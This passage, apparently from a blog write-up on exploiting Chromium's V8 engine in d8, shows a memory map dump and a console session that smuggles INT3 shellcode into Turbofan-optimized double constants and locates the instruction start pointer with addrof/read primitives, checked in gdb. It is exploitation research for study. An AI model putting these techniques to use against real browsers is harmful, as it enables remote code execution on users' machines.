0&lt;/span&gt;&#xD;&#xA;7f68f8000000-7f68f8010000 &lt;span class=&#34;termCodePr&#34;&gt;r--p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00000000 00:00 0&lt;/span&gt;&#xD;&#xA;7f68f8010000-7f6918000000 &lt;span class=&#34;termCodePp&#34;&gt;---p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00000000 00:00 0&lt;/span&gt;&#xD;&#xA;7f6918000000-7f6918021000 &lt;span class=&#34;termCodePw&#34;&gt;rw-p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00000000 00:00 0&lt;/span&gt;&#xD;&#xA;7f6918021000-7f691c000000 &lt;span class=&#34;termCodePp&#34;&gt;---p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00000000 00:00 0&lt;/span&gt;&#xD;&#xA;7f691c000000-7f691c021000 &lt;span class=&#34;termCodePw&#34;&gt;rw-p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00000000 00:00 0&lt;/span&gt;&#xD;&#xA;7f691c021000-7f6920000000 &lt;span class=&#34;termCodePp&#34;&gt;---p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00000000 00:00 0&lt;/span&gt;&#xD;&#xA;7f6920000000-7f6920021000 &lt;span class=&#34;termCodePw&#34;&gt;rw-p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00000000 00:00 0&lt;/span&gt;&#xD;&#xA;7f6920021000-7f6924000000 &lt;span class=&#34;termCodePp&#34;&gt;---p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00000000 00:00 0&lt;/span&gt;&#xD;&#xA;7f6927dce000-7f6927e1c000 &lt;span class=&#34;termCodePw&#34;&gt;rw-p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00000000 00:00 0&lt;/span&gt;&#xD;&#xA;7f6927e1c000-7f6927e1d000 &lt;span class=&#34;termCodePp&#34;&gt;---p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00000000 00:00 0&lt;/span&gt;&#xD;&#xA;7f6927e1d000-7f692861d000 &lt;span class=&#34;termCodePw&#34;&gt;rw-p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00000000 00:00 0&lt;/span&gt;&#xD;&#xA;7f692861d000-7f692861e000 &lt;span class=&#34;termCodePp&#34;&gt;---p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00000000 00:00 0&lt;/span&gt;&#xD;&#xA;7f692861e000-7f6928e1e000 &lt;span class=&#34;termCodePw&#34;&gt;rw-p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00000000 00:00 0&lt;/span&gt;&#xD;&#xA;7f6928e1e000-7f6928e1f000 &lt;span class=&#34;termCodePp&#34;&gt;---p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00000000 00:00 0&lt;/span&gt;&#xD;&#xA;7f6928e1f000-7f6929623000 &lt;span class=&#34;termCodePw&#34;&gt;rw-p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00000000 00:00 0&lt;/span&gt;&#xD;&#xA;7f6929623000-7f6929647000 &lt;span class=&#34;termCodePr&#34;&gt;r--p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00000000 08:01 5648200                   &lt;/span&gt;&amp;nbsp;/usr/lib/libc.so.6&#xD;&#xA;7f6929647000-7f69297ab000 &lt;span class=&#34;termCodePx&#34;&gt;r-xp&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00024000 08:01 5648200                   &lt;/span&gt;&amp;nbsp;/usr/lib/libc.so.6&#xD;&#xA;7f69297ab000-7f69297f9000 &lt;span class=&#34;termCodePr&#34;&gt;r--p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00188000 08:01 5648200                   &lt;/span&gt;&amp;nbsp;/usr/lib/libc.so.6&#xD;&#xA;7f69297f9000-7f69297fd000 &lt;span class=&#34;termCodePr&#34;&gt;r--p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;001d6000 08:01 5648200                   &lt;/span&gt;&amp;nbsp;/usr/lib/libc.so.6&#xD;&#xA;7f69297fd000-7f69297ff000 &lt;span class=&#34;termCodePw&#34;&gt;rw-p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;001da000 08:01 5648200                   &lt;/span&gt;&amp;nbsp;/usr/lib/libc.so.6&#xD;&#xA;7f69297ff000-7f6929807000 &lt;span class=&#34;termCodePw&#34;&gt;rw-p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00000000 00:00 0&lt;/span&gt;&#xD;&#xA;7f6929807000-7f692980b000 &lt;span class=&#34;termCodePr&#34;&gt;r--p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00000000 08:01 5641004                   &lt;/span&gt;&amp;nbsp;/usr/lib/libgcc_s.so.1&#xD;&#xA;7f692980b000-7f6929826000 &lt;span class=&#34;termCodePx&#34;&gt;r-xp&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00004000 08:01 5641004                   &lt;/span&gt;&amp;nbsp;/usr/lib/libgcc_s.so.1&#xD;&#xA;7f6929826000-7f692982a000 &lt;span class=&#34;termCodePr&#34;&gt;r--p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;0001f000 08:01 5641004                   &lt;/span&gt;&amp;nbsp;/usr/lib/libgcc_s.so.1&#xD;&#xA;7f692982a000-7f692982b000 &lt;span class=&#34;termCodePr&#34;&gt;r--p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00022000 08:01 5641004                   &lt;/span&gt;&amp;nbsp;/usr/lib/libgcc_s.so.1&#xD;&#xA;7f692982b000-7f692982c000 &lt;span class=&#34;termCodePw&#34;&gt;rw-p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00023000 08:01 5641004                   &lt;/span&gt;&amp;nbsp;/usr/lib/libgcc_s.so.1&#xD;&#xA;7f692982c000-7f692983a000 &lt;span class=&#34;termCodePr&#34;&gt;r--p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00000000 08:01 5648210                   &lt;/span&gt;&amp;nbsp;/usr/lib/libm.so.6&#xD;&#xA;7f692983a000-7f69298b9000 &lt;span class=&#34;termCodePx&#34;&gt;r-xp&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;0000e000 08:01 5648210                   &lt;/span&gt;&amp;nbsp;/usr/lib/libm.so.6&#xD;&#xA;7f69298b9000-7f6929915000 &lt;span class=&#34;termCodePr&#34;&gt;r--p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;0008d000 08:01 5648210                   &lt;/span&gt;&amp;nbsp;/usr/lib/libm.so.6&#xD;&#xA;7f6929915000-7f6929916000 &lt;span class=&#34;termCodePr&#34;&gt;r--p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;000e8000 08:01 5648210                   &lt;/span&gt;&amp;nbsp;/usr/lib/libm.so.6&#xD;&#xA;7f6929916000-7f6929917000 &lt;span class=&#34;termCodePw&#34;&gt;rw-p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;000e9000 08:01 5648210                   &lt;/span&gt;&amp;nbsp;/usr/lib/libm.so.6&#xD;&#xA;7f6929917000-7f6929918000 &lt;span class=&#34;termCodePr&#34;&gt;r--p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00000000 08:01 5648228                   &lt;/span&gt;&amp;nbsp;/usr/lib/libpthread.so.0&#xD;&#xA;7f6929918000-7f6929919000 &lt;span class=&#34;termCodePx&#34;&gt;r-xp&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00001000 08:01 5648228                   &lt;/span&gt;&amp;nbsp;/usr/lib/libpthread.so.0&#xD;&#xA;7f6929919000-7f692991a000 &lt;span class=&#34;termCodePr&#34;&gt;r--p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00002000 08:01 5648228                   &lt;/span&gt;&amp;nbsp;/usr/lib/libpthread.so.0&#xD;&#xA;7f692991a000-7f692991b000 &lt;span class=&#34;termCodePr&#34;&gt;r--p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00002000 08:01 5648228                   &lt;/span&gt;&amp;nbsp;/usr/lib/libpthread.so.0&#xD;&#xA;7f692991b000-7f692991c000 &lt;span class=&#34;termCodePw&#34;&gt;rw-p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00003000 08:01 5648228                   &lt;/span&gt;&amp;nbsp;/usr/lib/libpthread.so.0&#xD;&#xA;7f692991c000-7f692991d000 &lt;span class=&#34;termCodePr&#34;&gt;r--p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00000000 08:01 5648205                   &lt;/span&gt;&amp;nbsp;/usr/lib/libdl.so.2&#xD;&#xA;7f692991d000-7f692991e000 &lt;span class=&#34;termCodePx&#34;&gt;r-xp&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00001000 08:01 5648205                   &lt;/span&gt;&amp;nbsp;/usr/lib/libdl.so.2&#xD;&#xA;7f692991e000-7f692991f000 &lt;span class=&#34;termCodePr&#34;&gt;r--p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00002000 08:01 5648205                   &lt;/span&gt;&amp;nbsp;/usr/lib/libdl.so.2&#xD;&#xA;7f692991f000-7f6929920000 &lt;span class=&#34;termCodePr&#34;&gt;r--p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00002000 08:01 5648205                   &lt;/span&gt;&amp;nbsp;/usr/lib/libdl.so.2&#xD;&#xA;7f6929920000-7f6929921000 &lt;span class=&#34;termCodePw&#34;&gt;rw-p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00003000 08:01 5648205                   &lt;/span&gt;&amp;nbsp;/usr/lib/libdl.so.2&#xD;&#xA;7f6929921000-7f6929923000 &lt;span class=&#34;termCodePw&#34;&gt;rw-p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00000000 00:00 0&lt;/span&gt;&#xD;&#xA;7f6929948000-7f6929949000 &lt;span class=&#34;termCodePr&#34;&gt;r--p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00000000 08:01 5648191                   &lt;/span&gt;&amp;nbsp;/usr/lib/ld-linux-x86-64.so.2&#xD;&#xA;7f6929949000-7f6929970000 &lt;span class=&#34;termCodePx&#34;&gt;r-xp&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00001000 08:01 5648191                   &lt;/span&gt;&amp;nbsp;/usr/lib/ld-linux-x86-64.so.2&#xD;&#xA;7f6929970000-7f692997a000 &lt;span class=&#34;termCodePr&#34;&gt;r--p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00028000 08:01 5648191                   &lt;/span&gt;&amp;nbsp;/usr/lib/ld-linux-x86-64.so.2&#xD;&#xA;7f692997a000-7f692997c000 &lt;span class=&#34;termCodePr&#34;&gt;r--p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00032000 08:01 5648191                   &lt;/span&gt;&amp;nbsp;/usr/lib/ld-linux-x86-64.so.2&#xD;&#xA;7f692997c000-7f692997e000 &lt;span class=&#34;termCodePw&#34;&gt;rw-p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00034000 08:01 5648191                   &lt;/span&gt;&amp;nbsp;/usr/lib/ld-linux-x86-64.so.2&#xD;&#xA;7ffde1b30000-7ffde1b51000 &lt;span class=&#34;termCodePw&#34;&gt;rw-p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00000000 00:00 0                         &lt;/span&gt;&amp;nbsp;[stack]&#xD;&#xA;7ffde1baf000-7ffde1bb3000 &lt;span class=&#34;termCodePr&#34;&gt;r--p&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00000000 00:00 0                         &lt;/span&gt;&amp;nbsp;[vvar]&#xD;&#xA;7ffde1bb3000-7ffde1bb5000 &lt;span class=&#34;termCodePx&#34;&gt;r-xp&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00000000 00:00 0                         &lt;/span&gt;&amp;nbsp;[vdso]&#xD;&#xA;ffffffffff600000-ffffffffff601000 &lt;span class=&#34;termCodePx&#34;&gt;--xp&lt;/span&gt; &lt;span class=&#34;over800&#34;&gt;00000000 00:00 0                 &lt;/span&gt;&amp;nbsp;[vsyscall]&#xD;&#xA;&lt;span class=&#34;termCodeW&#34;&gt;$&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;These are all the memory addresses d8 uses, and each one of them has permissions associated with them - &lt;strong&gt;r&lt;/strong&gt;ead, &lt;strong&gt;w&lt;/strong&gt;rite, and e&lt;strong&gt;x&lt;/strong&gt;ecute respectively. The array we made is in one of the read-write maps, so trying to execute code from there is going to result in a crash. We&amp;rsquo;ll need to write into a map with execute permissions.&lt;/p&gt;&#xA;&lt;p&gt;But how are we going to write data into that one memory map that does have the &lt;strong&gt;rwx&lt;/strong&gt; permissions? We cannot use our write primitive because it can only write into the lower 32 bits our compressed pointer can access.&lt;/p&gt;&#xA;&lt;p&gt;In figuring this out, I came across &lt;a href=&#34;https://anvbis.au/posts/code-execution-in-chromiums-v8-heap-sandbox/&#34;&gt;this awesome writeup by Anvbis&lt;/a&gt; demonstrating how we can use Turbofan to do exactly that through a very clever trick. I&amp;rsquo;ll be borrowing heavily from that post, but it goes a lot more in-depth so please check it out if this sounds interesting.&lt;/p&gt;&#xA;&lt;p&gt;What Anvbis did was create a function with doubles in it, and those doubles got Turbofan-optimized into bytes in the &lt;strong&gt;rwx&lt;/strong&gt; area. They could then offset the instruction start pointer to start execution from those doubles instead of the original code.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s see if we can trigger an INT3 breakpoint this way.&lt;/p&gt;&#xA;&lt;div class=&#34;jsConsole&#34; style=&#34;margin-bottom: 4px&#34;&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;i2f&lt;/span&gt;(&lt;span class=&#34;jsConValIn&#34;&gt;0xCCCCCCCCCCCCCCCCn&lt;/span&gt;)&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 8,11 4,7 8,3 8.85,3.85 5.7,7 8.85,10.15 Z&#34;/&gt;&lt;circle cx=&#34;10&#34; cy=&#34;7&#34; r=&#34;1&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConValOut&#34;&gt;-9.255963134931783e+61&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConKw&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;int3&lt;/span&gt;&lt;span style=&#34;white-space: pre-wrap&#34;&gt;() {&#xD;&#xA;     &lt;span class=&#34;jsConKw&#34;&gt;return&lt;/span&gt; [&#xD;&#xA;       &lt;span class=&#34;jsConValIn&#34;&gt;-9.255963134931783e+61&lt;/span&gt;, &lt;span class=&#34;jsConNull&#34; style=&#34;text-wrap:nowrap&#34;&gt;// i changed&lt;/span&gt;&#xD;&#xA;       &lt;span class=&#34;jsConValIn&#34;&gt;-9.255963134931784e+61&lt;/span&gt;, &lt;span class=&#34;jsConNull&#34; style=&#34;text-wrap:nowrap&#34;&gt;// every line&lt;/span&gt;&#xD;&#xA;       &lt;span class=&#34;jsConValIn&#34;&gt;-9.255963134931785e+61&lt;/span&gt;, &lt;span class=&#34;jsConNull&#34; style=&#34;text-wrap:nowrap&#34;&gt;// a little&lt;/span&gt;&#xD;&#xA;       &lt;span class=&#34;jsConValIn&#34;&gt;-9.255963134931786e+61&lt;/span&gt;, &lt;span class=&#34;jsConNull&#34; style=&#34;text-wrap:nowrap&#34;&gt;// so that&lt;/span&gt;&#xD;&#xA;       &lt;span class=&#34;jsConValIn&#34;&gt;-9.255963134931787e+61&lt;/span&gt;, &lt;span class=&#34;jsConNull&#34; style=&#34;text-wrap:nowrap&#34;&gt;// the doubles&lt;/span&gt;&#xD;&#xA;       &lt;span class=&#34;jsConValIn&#34;&gt;-9.255963134931788e+61&lt;/span&gt;, &lt;span class=&#34;jsConNull&#34; style=&#34;text-wrap:nowrap&#34;&gt;// wouldn&#39;t get&lt;/span&gt;&#xD;&#xA;       &lt;span class=&#34;jsConValIn&#34;&gt;-9.255963134931789e+61&lt;/span&gt;, &lt;span class=&#34;jsConNull&#34; style=&#34;text-wrap:nowrap&#34;&gt;// optimized&lt;/span&gt;&#xD;&#xA;       &lt;span class=&#34;jsConValIn&#34;&gt;-9.255963134931780e+61&lt;/span&gt;  &lt;span class=&#34;jsConNull&#34; style=&#34;text-wrap:nowrap&#34;&gt;// into one&lt;/span&gt;&#xD;&#xA;     ]&#xD;&#xA;   }&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;int3&lt;/span&gt;()&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 8,11 4,7 8,3 8.85,3.85 5.7,7 8.85,10.15 Z&#34;/&gt;&lt;circle cx=&#34;10&#34; cy=&#34;7&#34; r=&#34;1&#34;/&gt;&lt;/svg&gt;&lt;details&gt;&lt;summary&gt;&lt;i&gt;(8) [&lt;span class=&#34;jsConValOut&#34;&gt;-9.255963134931783e+61&lt;/span&gt;, &lt;span class=&#34;jsConValOut&#34;&gt;-9.255963134931784e+61&lt;/span&gt;, &lt;span class=&#34;jsConValOut&#34;&gt;-9.255963134931785e+61&lt;/span&gt;, &lt;span class=&#34;jsConValOut&#34;&gt;-9.255963134931786e+61&lt;/span&gt;, &lt;span class=&#34;jsConValOut&#34;&gt;-9.255963134931786e+61&lt;/span&gt;, &lt;span class=&#34;jsConValOut&#34;&gt;-9.255963134931788e+61&lt;/span&gt;, &lt;span class=&#34;jsConValOut&#34;&gt;-9.255963134931789e+61&lt;/span&gt;, &lt;span class=&#34;jsConValOut&#34;&gt;-9.25596313493178e+61&lt;/span&gt;]&lt;/i&gt;&lt;/summary&gt;&#xD;&#xA;&lt;div style=&#34;padding-left: 24px&#34;&gt;&#xD;&#xA;&#x9;&lt;span class=&#34;jsConIdx jsConB&#34;&gt;0&lt;/span&gt;: &lt;span class=&#34;jsConValOut&#34;&gt;0xcccccccccccccccc&lt;/span&gt;&lt;br/&gt;&#xD;&#xA;&#x9;&lt;span class=&#34;jsConIdx jsConB&#34;&gt;1&lt;/span&gt;: &lt;span class=&#34;jsConValOut&#34;&gt;0xcccccccccccccccd&lt;/span&gt;&lt;br/&gt;&#xD;&#xA;&#x9;&lt;span class=&#34;jsConIdx jsConB&#34;&gt;2&lt;/span&gt;: &lt;span class=&#34;jsConValOut&#34;&gt;0xccccccccccccccce&lt;/span&gt;&lt;br/&gt;&#xD;&#xA;&#x9;&lt;span class=&#34;jsConIdx jsConB&#34;&gt;3&lt;/span&gt;: &lt;span class=&#34;jsConValOut&#34;&gt;0xcccccccccccccccf&lt;/span&gt;&lt;br/&gt;&#xD;&#xA;&#x9;&lt;span class=&#34;jsConIdx jsConB&#34;&gt;4&lt;/span&gt;: &lt;span class=&#34;jsConValOut&#34;&gt;0xcccccccccccccccf&lt;/span&gt; &lt;span class=&#34;jsConNull&#34;&gt;// dupe, whoops&lt;/span&gt;&lt;br/&gt;&#xD;&#xA;&#x9;&lt;span class=&#34;jsConIdx jsConB&#34;&gt;5&lt;/span&gt;: &lt;span class=&#34;jsConValOut&#34;&gt;0xccccccccccccccd0&lt;/span&gt;&lt;br/&gt;&#xD;&#xA;&#x9;&lt;span class=&#34;jsConIdx jsConB&#34;&gt;6&lt;/span&gt;: &lt;span class=&#34;jsConValOut&#34;&gt;0xccccccccccccccd1&lt;/span&gt;&lt;br/&gt;&#xD;&#xA;&#x9;&lt;span class=&#34;jsConIdx jsConB&#34;&gt;7&lt;/span&gt;: &lt;span class=&#34;jsConValOut&#34;&gt;0xccccccccccccccc9&lt;/span&gt;&lt;br/&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;/details&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;%&lt;span class=&#34;jsConV8&#34;&gt;PrepareFunctionForOptimization&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;int3&lt;/span&gt;)&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;int3&lt;/span&gt;()&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;%&lt;span class=&#34;jsConV8&#34;&gt;OptimizeFunctionOnNextCall&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;int3&lt;/span&gt;)&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;int3&lt;/span&gt;()&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;funcAddr&lt;/span&gt; = &lt;span class=&#34;jsConVar&#34;&gt;addrof&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;int3&lt;/span&gt;)&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;codeAddr&lt;/span&gt; = &lt;span class=&#34;jsConVar&#34;&gt;read&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;funcAddr&lt;/span&gt; + &lt;span class=&#34;jsConValIn&#34;&gt;0x8n&lt;/span&gt;) &amp;gt;&amp;gt; &lt;span class=&#34;jsConValIn&#34;&gt;32n&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;instructionStart&lt;/span&gt; = &lt;span class=&#34;jsConVar&#34;&gt;codeAddr&lt;/span&gt; + &lt;span class=&#34;jsConValIn&#34;&gt;0x14n&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;hex64&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;read&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;instructionStart&lt;/span&gt;))&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 8,11 4,7 8,3 8.85,3.85 5.7,7 8.85,10.15 Z&#34;/&gt;&lt;circle cx=&#34;10&#34; cy=&#34;7&#34; r=&#34;1&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConStrOut&#34;&gt;&#39;0x00005555b7941b00&#39;&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;^Z&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine jsConTerm&#34;&gt;Thread 1 &#34;d8&#34; received signal SIGTSTP, Stopped (user).&#xD;&#xA;(gdb) x/32xg 0x00005555b7941b00&#xD;&#xA;0x5555b7941b00: 0x43f6de0349f4598b&lt;span class=&#34;under430&#34;&gt;&lt;br&gt;0x5555b7941b08:&lt;/span&gt; 0xa0035af0850f201e&#xD;&#xA;0x5555b7941b10: 0x48505756e5894855&lt;span class=&#34;under430&#34;&gt;&lt;br&gt;0x5555b7941b18:&lt;/span&gt; 0x0fa0653b4908ec83&#xD;&#xA;0x5555b7941b20: 0x4d8b490000010186&lt;span class=&#34;under430&#34;&gt;&lt;br&gt;0x5555b7941b28:&lt;/span&gt; 0x7d394958798d4848&#xD;&#xA;0x5555b7941b30: 0x480000011f860f50&lt;span class=&#34;under430&#34;&gt;&lt;br&gt;0x5555b7941b38:&lt;/span&gt; 0x48487d894948798d&#xD;&#xA;0x5555b7941b40: 0x08a9ff41c701c183&lt;span class=&#34;under430&#34;&gt;&lt;br&gt;0x5555b7941b48:&lt;/span&gt; 0x0000100341c70000&#xD;&#xA;0x5555b7941b50: 0x&lt;span class=&#34;jsMemVar0&#34;&gt;cccccccccc&lt;/span&gt;ba4900&lt;span class=&#34;under430&#34;&gt;&lt;br&gt;0x5555b7941b58:&lt;/span&gt; 0xc26ef9c1c4&lt;span class=&#34;jsMemVar0&#34;&gt;cccccc&lt;/span&gt;&#xD;&#xA;0x5555b7941b60: 0x&lt;span class=&#34;jsMemVar2&#34;&gt;cd&lt;/span&gt;ba49074111fbc5&lt;span class=&#34;under430&#34;&gt;&lt;br&gt;0x5555b7941b68:&lt;/span&gt; 0xc4&lt;span class=&#34;jsMemVar2&#34;&gt;cccccccccccccc&lt;/span&gt;&#xD;&#xA;0x5555b7941b70: 0x4111fbc5c26ef9c1&lt;span 